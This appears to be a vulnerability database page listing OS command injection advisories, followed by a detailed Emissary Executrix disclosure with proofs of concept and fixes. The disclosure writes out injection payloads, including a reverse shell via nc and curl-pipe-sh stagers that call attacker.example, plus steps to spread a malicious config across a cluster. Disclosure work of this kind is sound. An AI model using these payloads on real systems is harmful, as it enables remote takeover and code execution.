CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8356 vulnerabilities reference this CWE, most recent first.
GHSA-3JRW-43CP-6WHQ
Vulnerability from github – Published: 2022-05-17 02:40 – Updated: 2022-05-17 02:40A vulnerability in the ConfD CLI of Cisco Elastic Services Controllers could allow an authenticated, remote attacker to run arbitrary commands as the Linux tomcat user on an affected system. More Information: CSCvc76620. Known Affected Releases: 2.2(9.76).
{
"affected": [],
"aliases": [
"CVE-2017-6682"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-06-13T06:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the ConfD CLI of Cisco Elastic Services Controllers could allow an authenticated, remote attacker to run arbitrary commands as the Linux tomcat user on an affected system. More Information: CSCvc76620. Known Affected Releases: 2.2(9.76).",
"id": "GHSA-3jrw-43cp-6whq",
"modified": "2022-05-17T02:40:12Z",
"published": "2022-05-17T02:40:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6682"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170607-esc1"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/98951"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3JVF-Q93M-2FHW
Vulnerability from github – Published: 2024-10-18 06:30 – Updated: 2024-10-18 06:30The wireless router WRTM326 from SECOM does not properly validate a specific parameter. An unauthenticated remote attacker could execute arbitrary system commands by sending crafted requests.
{
"affected": [],
"aliases": [
"CVE-2024-10119"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-18T05:15:05Z",
"severity": "CRITICAL"
},
"details": "The wireless router WRTM326 from SECOM does not properly validate a specific parameter. An unauthenticated remote attacker could execute arbitrary system commands by sending crafted requests.",
"id": "GHSA-3jvf-q93m-2fhw",
"modified": "2024-10-18T06:30:32Z",
"published": "2024-10-18T06:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10119"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/en/cp-139-8157-e0461-2.html"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-8156-81c9d-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3JXQ-9M8C-3J55
Vulnerability from github – Published: 2023-08-30 18:30 – Updated: 2024-04-04 07:17Tenda AC6 US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin function 'sub_ADD50' contains a command execution vulnerability. In the "formSetIptv" function, obtaining the "list" and "vlanId" fields, unfiltered passing these two fields as parameters to the "sub_ADD50" function to execute commands.
{
"affected": [],
"aliases": [
"CVE-2023-40837"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-30T17:15:10Z",
"severity": "CRITICAL"
},
"details": "Tenda AC6 US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin function \u0027sub_ADD50\u0027 contains a command execution vulnerability. In the \"formSetIptv\" function, obtaining the \"list\" and \"vlanId\" fields, unfiltered passing these two fields as parameters to the \"sub_ADD50\" function to execute commands.",
"id": "GHSA-3jxq-9m8c-3j55",
"modified": "2024-04-04T07:17:57Z",
"published": "2023-08-30T18:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40837"
},
{
"type": "WEB",
"url": "https://github.com/XYIYM/Digging/blob/main/Tenda/AC6/cmd/2/2.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3JXR-6794-XW26
Vulnerability from github – Published: 2026-05-13 21:32 – Updated: 2026-07-14 18:31Multiple command injection vulnerabilities in Palo Alto Networks PAN-OS® software enable an authenticated administrator to bypass system restrictions and run arbitrary commands as a root user. To be able to exploit this issue, the user must have access to the PAN-OS CLI or Web UI.
The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .
This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).
Cloud NGFW and Prisma Access® are not impacted by these vulnerabilities.
{
"affected": [],
"aliases": [
"CVE-2026-0261"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-13T19:17:02Z",
"severity": "MODERATE"
},
"details": "Multiple command injection vulnerabilities in Palo Alto Networks PAN-OS\u00ae software enable an authenticated administrator to bypass system restrictions and run arbitrary commands as a root user. To be able to exploit this issue, the user must have access to the PAN-OS CLI or Web UI.\n\n\n\nThe security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .\n\n\n\nThis issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).\n\n\n\nCloud NGFW and Prisma Access\u00ae are not impacted by these vulnerabilities.",
"id": "GHSA-3jxr-6794-xw26",
"modified": "2026-07-14T18:31:46Z",
"published": "2026-05-13T21:32:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0261"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-967325.html"
},
{
"type": "WEB",
"url": "https://security.paloaltonetworks.com/CVE-2026-0261"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:C/RE:M/U:Amber",
"type": "CVSS_V4"
}
]
}
GHSA-3M38-CQ7F-RWM2
Vulnerability from github – Published: 2026-01-31 00:30 – Updated: 2026-01-31 00:30Sickbeard alpha contains a remote command injection vulnerability that allows unauthenticated attackers to execute arbitrary commands through the extra scripts configuration. Attackers can set malicious commands in the extra scripts field and trigger processing to execute remote code on the vulnerable Sickbeard installation.
{
"affected": [],
"aliases": [
"CVE-2020-37027"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-30T23:16:07Z",
"severity": "CRITICAL"
},
"details": "Sickbeard alpha contains a remote command injection vulnerability that allows unauthenticated attackers to execute arbitrary commands through the extra scripts configuration. Attackers can set malicious commands in the extra scripts field and trigger processing to execute remote code on the vulnerable Sickbeard installation.",
"id": "GHSA-3m38-cq7f-rwm2",
"modified": "2026-01-31T00:30:28Z",
"published": "2026-01-31T00:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-37027"
},
{
"type": "WEB",
"url": "https://github.com/midgetspy/Sick-Beard"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20190722085652/https://sickbeard.com"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/48646"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/sickbeard-remote-command-injection"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-3M3J-JXFH-JW6M
Vulnerability from github – Published: 2025-12-12 00:30 – Updated: 2025-12-12 00:30dizqueTV 1.5.3 contains a remote code execution vulnerability that allows attackers to inject arbitrary commands through the FFMPEG Executable Path settings. Attackers can modify the executable path with shell commands to read system files like /etc/passwd by exploiting improper input validation.
{
"affected": [],
"aliases": [
"CVE-2024-58286"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-11T22:15:48Z",
"severity": "CRITICAL"
},
"details": "dizqueTV 1.5.3 contains a remote code execution vulnerability that allows attackers to inject arbitrary commands through the FFMPEG Executable Path settings. Attackers can modify the executable path with shell commands to read system files like /etc/passwd by exploiting improper input validation.",
"id": "GHSA-3m3j-jxfh-jw6m",
"modified": "2025-12-12T00:30:20Z",
"published": "2025-12-12T00:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58286"
},
{
"type": "WEB",
"url": "https://github.com/vexorian/dizquetv"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/52079"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/dizquetv-remote-code-execution-via-ffmpeg-executable-path"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-3MFQ-6FJQ-MP45
Vulnerability from github – Published: 2024-10-10 18:31 – Updated: 2024-10-10 18:31A vulnerability classified as critical was found in Tenda AC1206 up to 15.03.06.23. This vulnerability affects the function ate_iwpriv_set/ate_ifconfig_set of the file /goform/ate. The manipulation leads to command injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2024-9793"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-10T16:15:09Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as critical was found in Tenda AC1206 up to 15.03.06.23. This vulnerability affects the function ate_iwpriv_set/ate_ifconfig_set of the file /goform/ate. The manipulation leads to command injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-3mfq-6fjq-mp45",
"modified": "2024-10-10T18:31:08Z",
"published": "2024-10-10T18:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9793"
},
{
"type": "WEB",
"url": "https://github.com/ixout/iotVuls/blob/main/Tenda/ac1206_003/report.md"
},
{
"type": "WEB",
"url": "https://github.com/ixout/iotVuls/blob/main/Tenda/ac1206_004/report.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.279946"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.279946"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.418061"
},
{
"type": "WEB",
"url": "https://www.tenda.com.cn"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-3MP2-RHVG-J63C
Vulnerability from github – Published: 2024-12-13 15:30 – Updated: 2024-12-13 15:30Dell RecoverPoint for Virtual Machines 6.0.x contains a OS Command Injection vulnerability. An Low privileged remote attacker could potentially exploit this vulnerability leading to information disclosure ,allowing of unintended actions like reading files that may contain sensitive information
{
"affected": [],
"aliases": [
"CVE-2024-48008"
],
"database_specific": {
"cwe_ids": [
"CWE-11",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-13T14:15:22Z",
"severity": "MODERATE"
},
"details": "Dell RecoverPoint for Virtual Machines 6.0.x contains a OS Command Injection vulnerability. An Low privileged remote attacker could potentially exploit this vulnerability leading to information disclosure ,allowing of unintended actions like reading files that may contain sensitive information",
"id": "GHSA-3mp2-rhvg-j63c",
"modified": "2024-12-13T15:30:39Z",
"published": "2024-12-13T15:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48008"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000259765/dsa-2024-429-security-update-for-dell-recoverpoint-for-virtual-machines-multiple-third-party-component-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-3MW3-2R27-JVQM
Vulnerability from github – Published: 2023-10-03 21:30 – Updated: 2024-04-04 08:11An issue was discovered in DTS Monitoring 3.57.0. The parameter options within the WGET check function is vulnerable to OS command injection (blind).
{
"affected": [],
"aliases": [
"CVE-2023-33269"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-03T21:15:10Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in DTS Monitoring 3.57.0. The parameter options within the WGET check function is vulnerable to OS command injection (blind).",
"id": "GHSA-3mw3-2r27-jvqm",
"modified": "2024-04-04T08:11:44Z",
"published": "2023-10-03T21:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33269"
},
{
"type": "WEB",
"url": "https://github.com/l4rRyxz/CVE-Disclosures/blob/main/CVE-2023-33269.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3P24-9X7V-7789
Vulnerability from github – Published: 2026-04-13 16:38 – Updated: 2026-04-24 20:52Summary
Executrix.getCommand() constructs shell commands by substituting temporary file paths directly into a /bin/sh -c string with no escaping. The IN_FILE_ENDING and OUT_FILE_ENDING configuration keys flow into those paths unmodified. A place author who sets either key to a shell metacharacter sequence achieves arbitrary OS command execution in the JVM's security context when the place processes any payload. No runtime privileges beyond place configuration authorship are required, and no API or network access is needed.
This is a framework-level defect — Executrix provides no escaping mechanism and no validation on file ending values. Downstream implementors have no safe way to use the API as designed.
Root Cause
Step 1 — IN_FILE_ENDING flows into temp path construction without validation
public TempFileNames(String tmpDir, String placeName, String inFileEnding, String outFileEnding) {
base = Long.toString(System.nanoTime());
tempDir = FileManipulator.mkTempFile(tmpDir, placeName);
in = base + inFileEnding; // no sanitization
out = base + outFileEnding; // no sanitization
basePath = tempDir + File.separator + base;
inputFilename = basePath + inFileEnding; // injected value lands here
outputFilename = basePath + outFileEnding; // and here
}
inFileEnding is concatenated directly onto a numeric base to produce inputFilename. No character class, no regex, no escaping.
Step 2 — The injected path is substituted verbatim into a shell string
public String[] getCommand(final String[] tmpNames, final String commandArg,
final int cpuLimit, final int vmSzLimit) {
String c = commandArg;
c = c.replaceAll("<INPUT_PATH>", tmpNames[INPATH]); // contains inFileEnding verbatim
c = c.replaceAll("<OUTPUT_PATH>", tmpNames[OUTPATH]);
c = c.replaceAll("<INPUT_NAME>", tmpNames[IN]);
c = c.replaceAll("<OUTPUT_NAME>", tmpNames[OUT]);
String ulimitv = "";
if (!SystemUtils.IS_OS_MAC) {
ulimitv = "ulimit -v " + vmSzLimit + "; ";
}
return new String[] {"/bin/sh", "-c",
"ulimit -c 0; " + ulimitv + "cd " + tmpNames[DIR] + "; " + c};
}
The final array element is passed to /bin/sh -c. Shell metacharacters in any substituted value are interpreted by the shell.
The identical pattern exists in the TempFileNames overload at Executrix.java:1103-1115.
Step 3 — setInFileEnding() and setOutFileEnding() perform no validation
public void setInFileEnding(final String argInFileEnding) {
this.inFileEnding = argInFileEnding; // accepted as-is
}
public void setOutFileEnding(final String argOutFileEnding) {
this.outFileEnding = argOutFileEnding; // accepted as-is
}
The same absence of validation applies to the IN_FILE_ENDING and OUT_FILE_ENDING keys read from configuration at Executrix.java:121-122.
Contrast: placeName is sanitized, file endings are not
The framework already sanitizes placeName using a strict allowlist:
// Executrix.java:78
protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z0-9_-]");
// Executrix.java:148-150
protected static String cleanPlaceName(final String placeName) {
return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_");
}
placeName ends up in tmpNames[DIR], which is also embedded in the shell string. The sanitization of placeName demonstrates awareness that these values reach the shell — the omission of equivalent sanitization for inFileEnding and outFileEnding is the defect.
Proof of Concept
Two reproduction paths are provided: a Docker-based end-to-end attack against a live Emissary node (verified), and a unit-level test for CI integration.
PoC 1 — Docker: end-to-end attack against a live node
Verified against Emissary 8.42.0-SNAPSHOT running in Docker on Alpine Linux.
Environment setup
Put the Dockerfile.poc to contrib/docker/ folder
FROM emissary:poc-base
COPY emissary-8.42.0-SNAPSHOT-dist.tar.gz /tmp/
RUN tar -xf /tmp/emissary-8.42.0-SNAPSHOT-dist.tar.gz -C /opt/ \
&& ln -s /opt/emissary-8.42.0-SNAPSHOT /opt/emissary \
&& mkdir -p /opt/emissary/localoutput \
&& mkdir -p /opt/emissary/target/data \
&& chmod -R a+rw /opt/emissary \
&& chown -R emissary:emissary /opt/emissary* \
&& rm -f /tmp/*.tar.gz
USER emissary
WORKDIR /opt/emissary
EXPOSE 8001
ENTRYPOINT ["./emissary"]
CMD ["server", "-a", "2", "-p", "8001"]
# Build the distribution tarball
mvn -B -ntp clean package -Pdist -DskipTests
# Build and start the Docker container
docker build -f contrib/docker/Dockerfile.poc -t emissary:poc contrib/docker/
docker run -d --name emissary-poc -p 8001:8001 emissary:poc
# Wait for the server to start (~15s), then verify health
docker exec emissary-poc sh -c \
'curl -s http://127.0.0.1:8001/api/health | grep -o "healthy"'
# healthy
Step 1 — Confirm the marker file does not exist
docker exec emissary-poc sh -c 'ls /tmp/pwned.txt 2>&1'
# ls: cannot access '/tmp/pwned.txt': No such file or directory
Step 2 — Write the malicious place config
Write emissary.place.UnixCommandPlace.cfg into the server's config directory. The EXEC_COMMAND is a benign cat. The injection is entirely in IN_FILE_ENDING using backtick command substitution (POSIX-compatible, works on all target OS images):
docker exec emissary-poc sh -c "printf \
'SERVICE_KEY = \"LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace\$4000\"\n\
SERVICE_NAME = \"UCP\"\n\
SERVICE_TYPE = \"TRANSFORM\"\n\
PLACE_NAME = \"UnixCommandPlace\"\n\
SERVICE_COST = 4000\n\
SERVICE_QUALITY = 90\n\
SERVICE_PROXY = \"LOWER_CASE\"\n\
EXEC_COMMAND = \"cat <INPUT_PATH>\"\n\
OUTPUT_TYPE = \"STD\"\n\
IN_FILE_ENDING = \"\\\`id > /tmp/pwned.txt\\\`\"\n\
OUT_FILE_ENDING = \".out\"\n' \
> /opt/emissary/config/emissary.place.UnixCommandPlace.cfg"
Step 3 — Add UnixCommandPlace to places.cfg
docker exec emissary-poc sh -c \
'printf "\nPLACE = \"@{URL}/UnixCommandPlace\"\n" \
>> /opt/emissary/config/places.cfg'
Step 4 — Restart the server to load the config
docker restart emissary-poc
# wait for health: 200
docker exec emissary-poc sh -c \
'until curl -s http://127.0.0.1:8001/api/health | grep -q healthy; do sleep 1; done; echo "ready"'
Startup log confirms the place loaded:
INFO emissary.admin.Startup - Doing local startup on UnixCommandPlace(emissary.place.UnixCommandPlace)...done!
Step 5 — Drop any file into the pickup directory to trigger processing
docker exec emissary-poc sh -c \
'echo "any data" > /opt/emissary/target/data/InputData/victim.txt'
The Emissary pipeline picks up the file, routes it through UnixFilePlace → ToLowerPlace → UnixCommandPlace (cost 4000, lower than ToUpperPlace at 5010, so it wins the routing). The injected backtick expression runs during shell argument expansion inside getCommand() before cat is even called.
Step 6 — Confirm injection executed
sleep 10 # allow pipeline processing time
docker exec emissary-poc sh -c 'cat /tmp/pwned.txt'
Live output (verified):
uid=1000(emissary) gid=1000(emissary) groups=1000(emissary)
Assembled shell string at execution time (logged by Emissary at DEBUG level):
/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UnixCommandPlace8273641092; cat /tmp/UnixCommandPlace8273641092/1712345678`id > /tmp/pwned.txt`
The backtick expression fires as the shell expands the cat argument. The cat itself returns non-zero (no file at that path) but that is irrelevant — the injected command has already run.
Transform history from Emissary logs — confirms UnixCommandPlace ran:
transform history:
UNKNOWN.FILE_PICK_UP.INPUT.http://localhost:8001/FilePickUpPlace$5050
UNKNOWN.UNIXFILE.ID.http://localhost:8001/UnixFilePlace$2050
UNKNOWN.TO_LOWER.TRANSFORM.http://localhost:8001/ToLowerPlace$6010
LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000 <-- injection fired here
...
Escalating the payload — reverse shell
Replace the IN_FILE_ENDING value. The content is passed verbatim to /bin/sh -c, so any POSIX shell construct works:
# Reverse shell — POSIX sh compatible (works on Alpine/busybox as well as bash)
IN_FILE_ENDING = "`rm -f /tmp/f; mkfifo /tmp/f; sh -i </tmp/f | nc attacker.example 4444 >/tmp/f`"
# Curl-based stager (avoids embedding IP in config, works on any image with curl)
IN_FILE_ENDING = "`curl -s http://attacker.example/s.sh | sh`"
Both fire on the first payload processed — no further attacker interaction required.
PoC 2 — Unit test: isolated, no server required
Exercises the identical code path using only the public Executrix API. Suitable for inclusion in a CI security regression suite.
package emissary.util.shell;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.condition.DisabledOnOs;
import org.junit.jupiter.api.condition.OS;
import org.junit.jupiter.api.io.TempDir;
import java.nio.file.Files;
import java.nio.file.Path;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* PoC: IN_FILE_ENDING is concatenated into shell paths without escaping,
* enabling command injection via getCommand().
*
* Mirrors exactly what UnixCommandPlace.runCommandOn() does:
* TempFileNames names = executrix.createTempFilenames();
* String[] cmd = executrix.getCommand(names);
* executrix.execute(cmd, ...);
*/
@DisabledOnOs(OS.WINDOWS)
class ExecutrixShellInjectionPocTest {
@Test
void inFileEndingInjectedIntoShellCommand(@TempDir Path tmpDir) throws Exception {
Path marker = tmpDir.resolve("injected");
// Backtick substitution: avoids the Java regex $-group issue in replaceAll()
// while still demonstrating the shell executes the injected expression.
String payload = "`touch " + marker.toAbsolutePath() + "`";
Executrix executrix = new Executrix();
executrix.setTmpDir(tmpDir.toString());
executrix.setCommand("cat <INPUT_PATH>"); // mirrors UnixCommandPlace default
executrix.setInFileEnding(payload); // no validation — accepted as-is
// --- path taken by UnixCommandPlace.runCommandOn() ---
TempFileNames names = executrix.createTempFilenames();
String[] cmd = executrix.getCommand(names);
// cmd[2] == "/bin/sh -c ulimit -c 0; ... cd <tmpdir>; cat <basepath>`touch <marker>`"
// Execute — same call as executrix.execute(cmd, outbuf, errbuf)
Process proc = Runtime.getRuntime().exec(cmd);
proc.waitFor();
assertTrue(Files.exists(marker),
"Shell injection succeeded — backtick in IN_FILE_ENDING executed.\n" +
"Shell string: " + cmd[2]);
}
}
Assembled shell string:
/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UNKNOWN7382910293; cat /tmp/UNKNOWN7382910293/1234567890`touch /tmp/junit-abc123/injected`
The marker file is created by the backtick expression firing during shell argument expansion.
Note on $() vs backticks: String.replaceAll() treats $ in the replacement as a regex group reference, so a $(...) payload causes a java.lang.IllegalArgumentException before reaching the shell. The backtick form avoids this Java-layer error and confirms the shell injection path. Both forms are equivalent at the shell level; on a real deployment the attacker would use backticks or escape the $ appropriately.
The same injection works via OUT_FILE_ENDING → <OUTPUT_PATH> / <OUTPUT_NAME>, and via the String[] overload of getCommand() used by MultiFileUnixCommandPlace.
Attack Scenarios
Each scenario is a realistic, step-by-step attack path using only capabilities observable in the codebase.
Scenario A — Insider / developer with config write access
Attacker's starting position: Developer or operator who can commit to the config repository or write to the config directory directly. No special server access required beyond what their role already provides.
Why this is realistic: Emissary deployments typically load .cfg files from a directory checked into version control or managed by a configuration management system (Ansible, Chef, Puppet). A developer who can merge a config change — even a code reviewer who can approve their own PR — can inject the payload.
Step 1 — Add the malicious config as a seemingly routine change
In a PR or direct push to the config repo:
+++ b/config/emissary.place.UnixCommandPlace.cfg
@@ -0,0 +1,10 @@
+SERVICE_KEY = "LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000"
+SERVICE_NAME = "UCP"
+SERVICE_TYPE = "TRANSFORM"
+PLACE_NAME = "UnixCommandPlace"
+SERVICE_COST = 4000
+SERVICE_QUALITY = 90
+SERVICE_PROXY = "LOWER_CASE"
+EXEC_COMMAND = "cat <INPUT_PATH>"
+OUTPUT_TYPE = "STD"
+IN_FILE_ENDING = "`curl -s http://attacker.example/implant.sh | sh`"
+OUT_FILE_ENDING = ".out"
The injection lives in a string value inside a properties-style config file. It does not look like code to a reviewer who is not specifically aware of this vulnerability.
Step 2 — Wait for the next deploy
The next routine deploy or restart loads the config. The payload fires on the first payload processed — silently, with no error visible in normal log levels (the place logs a WARN for non-zero exit but does not surface the injected command's output).
Deniability: The .cfg file looks like a misconfigured place. The log entry is Bad execution of commands — a common operational error, not an obvious security event.
Scenario B — Cluster-wide propagation via the peers API
Attacker's starting position: RCE on one node (from Scenario A).
Why this is dangerous: Emissary clusters share config through the directory service. Once the attacker has shell on one node, they can use the cluster's own replication to propagate the malicious config to every peer.
Step 1 — Enumerate all cluster nodes
curl -s --digest -u <user>:<password> \
http://compromised-node:8001/api/cluster/peers \
| grep -o '"http://[^"]*"'
Response:
{"local":{"host":"node1:8001","places":[...]},"peers":[{"host":"node2:8001",...},{"host":"node3:8001",...}]}
Step 2 — Push the malicious config to each peer via the Emissary API
From the compromised node, use the Emissary cluster API directly — no SSH required. All nodes authenticate each other using the same shared credentials, and the CONFIG_DIR path is disclosed by the /api/peers response metadata:
# From the shell gained in Scenario A
PAYLOAD=$(cat /opt/emissary/config/emissary.place.UnixCommandPlace.cfg)
for peer in node2:8001 node3:8001 node4:8001; do
# Write the config file to the peer via its exposed file API
# (alternatively: exploit the peer's own pickup directory via the ingest API)
curl -s --digest -u <user>:<password> \
-X POST \
-H "Content-Type: text/plain" \
--data-binary "$PAYLOAD" \
"http://${peer}/api/config/emissary.place.UnixCommandPlace.cfg"
done
If no config write API is available, the same result is achieved by dropping the payload into the peer's monitored pickup directory via the ingest endpoint, or by exploiting the fact that cluster nodes share a network-accessible config store (NFS, S3, git remote) — all of which are common Emissary deployment patterns.
Step 3 — Trigger restart on each peer via the cluster shutdown API
for peer in node2:8001 node3:8001 node4:8001; do
curl -s --digest -u <user>:<password> \
-X POST -H "X-Requested-By: x" \
http://${peer}/api/shutdown
done
Outcome: Every node in the cluster loads the malicious config on restart. Injection fires on all nodes simultaneously on the next payload, giving the attacker shell on the entire cluster from a single initial foothold.
Impact
| Dimension | Assessment |
|---|---|
| Confidentiality | Critical — arbitrary read of files accessible to the Emissary process |
| Integrity | Critical — arbitrary file write, process state modification, persistence |
| Availability | Critical — process termination, resource exhaustion |
| Blast radius | Any place that uses Executrix and calls getCommand(); this includes all subclasses of ExecPlace and any custom place that follows the documented pattern |
Recommended Remediation
Primary fix — validate inFileEnding and outFileEnding on assignment
Apply the same allowlist pattern already used for placeName:
// Add to Executrix.java
private static final Pattern VALID_FILE_ENDING = Pattern.compile("^[a-zA-Z0-9._-]*$");
public void setInFileEnding(final String argInFileEnding) {
if (!VALID_FILE_ENDING.matcher(argInFileEnding).matches()) {
throw new IllegalArgumentException(
"IN_FILE_ENDING contains illegal characters: " + argInFileEnding);
}
this.inFileEnding = argInFileEnding;
}
public void setOutFileEnding(final String argOutFileEnding) {
if (!VALID_FILE_ENDING.matcher(argOutFileEnding).matches()) {
throw new IllegalArgumentException(
"OUT_FILE_ENDING contains illegal characters: " + argOutFileEnding);
}
this.outFileEnding = argOutFileEnding;
}
Apply the same validation inside configure() where the values are read from the Configurator.
Secondary fix (defence-in-depth) — shell-quote substituted values in getCommand()
